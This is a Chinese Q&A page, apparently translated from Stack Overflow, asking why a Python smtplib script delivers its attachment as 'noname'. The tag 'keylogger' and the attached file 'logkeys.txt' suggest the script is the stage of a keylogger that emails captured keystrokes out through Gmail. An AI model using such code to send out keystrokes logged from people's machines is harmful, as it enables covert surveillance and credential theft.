使用 PYTHON 以“noname”形式接收的电子邮件附件

问题描述 投票:0回答:0

我正在尝试使用 Python“电子邮件”模块发送带有附件的电子邮件,一切正常,但收件人收到的附件为“noname”。

检查下面我的代码:

import smtplib

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders

# Setup email log message
logfile = "log.txt"
sender = "[email protected]"
password = "xxxxx"
receiver = "[email protected]"
subject = "Log file ALERT!"
body = """
Hello Dave,
Here is your log file.
"""

email = MIMEMultipart()
email["From"] = sender
email["To"] = receiver
email["Subject"] = subject

email.attach(MIMEText(body, "plain"))
attachment = "logkeys.txt"
attached_file = open(attachment, 'rb')
payload = MIMEBase('application', 'octate-stream')
payload.set_payload((attached_file).read())
encoders.encode_base64(payload)
email.add_header('Content-Disposition', 'attachment', filename=attachment)
email.attach(payload)

session = smtplib.SMTP_SSL('smtp.gmail.com', 465) #use gmail with port
session.login(sender, password) #login with mail_id and password
session.sendmail(sender, receiver, email.as_string())
session.quit()

错误从何而来?

我已经将标头和有效负载更改为其他可用选项,但它仍然以“noname”发送

python email keylogger
© www.soinside.com 2019 - 2024. All rights reserved.